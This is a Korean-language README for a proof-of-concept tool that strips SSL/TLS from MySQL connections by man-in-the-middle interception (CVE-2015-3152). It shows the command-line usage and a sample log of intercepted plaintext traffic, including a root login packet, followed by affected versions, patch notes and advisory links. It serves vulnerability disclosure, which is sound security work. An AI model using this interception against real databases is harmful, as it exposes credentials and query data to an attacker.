duo-labs/mysslstripCVE-2015-3152 PoC
mysslstrip는 MySQL 트래픽을 MITM하고 SSL/TLS를 제거하는 방법을 보여주는 Python 기반 개념 증명 도구로, CVE-2015-3152에 해당합니다.
mysslstrip.py [-h] [-p LISTEN_PORT] [-i LISTEN_INTERFACE] dest
[root@duo1 ~]# python2.7 mysslstrip.py -p 3307 127.0.0.1:3306
2015-04-29 21:33:14+0000 [-] Log opened.
2015-04-29 21:33:14+0000 [-] listen: 127.0.0.1:3307; connect: 127.0.0.1:3306
2015-04-29 21:33:14+0000 [-] MySQLForwardServerFactory starting on 3307
2015-04-29 21:33:14+0000 [-] Starting factory <__main__.MySQLForwardServerFactory instance at 0x7f7769912fc8>
2015-04-29 21:33:21+0000 [__main__.MySQLForwardServerFactory] Starting factory <twisted.internet.endpoints.OneShotFactory instance at 0x7f776787c248>
2015-04-29 21:33:21+0000 [MySQLForwardClientProtocol,client] <class '__main__.MySQLForwardClientProtocol'> received: 'J\x00\x00\x00\n5.6.21\x00\x04\x00\x00\x00"l{I8{%D\x00\xff\xff\x08\x02\x00\x7f\xc0\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00fSPsur[Rg/S6\x00mysql_native_password\x00'
2015-04-29 21:33:21+0000 [MySQLForwardServerProtocol,0,127.0.0.1] <class '__main__.MySQLForwardServerProtocol'> received: '\xb6\x00\x00\x01\x85\xa6\x7f@\x00\x00\x00\x01!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x14U\xe7\x0b\x0cs\xb5\xf3\x00\x07&=\xa8\xa6\xf9I\xf0\x86}G\xffmysql_native_password\x00e\x03_os\x05Linux\x0c_client_name\x08libmysql\x04_pid\x042361\x0f_client_version\x065.6.21\t_platform\x06x86_64\x0cprogram_name\x05mysql'
2015-04-29 21:33:21+0000 [MySQLForwardClientProtocol,client] <class '__main__.MySQLForwardClientProtocol'> received: '\x07\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00'
2015-04-29 21:33:21+0000 [MySQLForwardServerProtocol,0,127.0.0.1] <class '__main__.MySQLForwardServerProtocol'> received: '!\x00\x00\x00\x03select @@version_comment limit 1'
2015-04-29 21:33:21+0000 [MySQLForwardClientProtocol,client] <class '__main__.MySQLForwardClientProtocol'> received: "\x01\x00\x00\x01\x01'\x00\x00\x02\x03def\x00\x00\x00\x11@@version_comment\x00\x0c!\x00x\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x05\x00\x00\x03\xfe\x00\x00\x02\x00)\x00\x00\x04(Distributed by The IUS Community Project\x05\x00\x00\x05\xfe\x00\x00\x02\x00"
2015-04-29 21:33:27+0000 [MySQLForwardServerProtocol,0,127.0.0.1] <class '__main__.MySQLForwardServerProtocol'> received: '\x16\x00\x00\x00\x03SELECT "HELLO, WORLD"'
2015-04-29 21:33:27+0000 [MySQLForwardClientProtocol,client] <class '__main__.MySQLForwardClientProtocol'> received: '\x01\x00\x00\x01\x01"\x00\x00\x02\x03def\x00\x00\x00\x0cHELLO, WORLD\x00\x0c!\x00$\x00\x00\x00\xfd\x01\x00\x1f\x00\x00\x05\x00\x00\x03\xfe\x00\x00\x02\x00\r\x00\x00\x04\x0cHELLO, WORLD\x05\x00\x00\x05\xfe\x00\x00\x02\x00'
2015-04-29 21:33:33+0000 [MySQLForwardServerProtocol,0,127.0.0.1] <class '__main__.MySQLForwardServerProtocol'> received: '\x01\x00\x00\x00\x01'
이게 실제 취약점인가요?
네! 모든 것을 암호화하세요. 기회에 따라 암호화 수준을 낮추는 것은 매우 좋지 않은 관행입니다.
이 취약점은 MySQL 5.7.2 이하 버전, MySQL Connector 6.1.2 이하 버전, 모든 Percona Server 버전 및 모든 MariaDB 버전에 영향을 미칩니다.
패치는?
MySQL 5.7.3에서 수정되었습니다. 하지만 보안 패치가 다른 버전으로 백포트되지 않았으므로, 인터넷의 99.99%가 사용하는 5.6 버전을 사용 중이라면 5.7 "프리뷰 릴리스"로 전환하지 않는 한 운이 없는 셈입니다.
Duo Labs의 Adam Goodman이 제작했습니다.
문의 사항이 있나요?
PR 문의: [email protected]
기술 문의: [email protected]
트위터: @duo_labs
http://backronym.fail
https://www.duosecurity.com/blog/backronym-mysql-vulnerability
http://www.openwall.com/lists/oss-security/2015/04/29/4
http://www.ocert.org/advisories/ocert-2015-003.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3152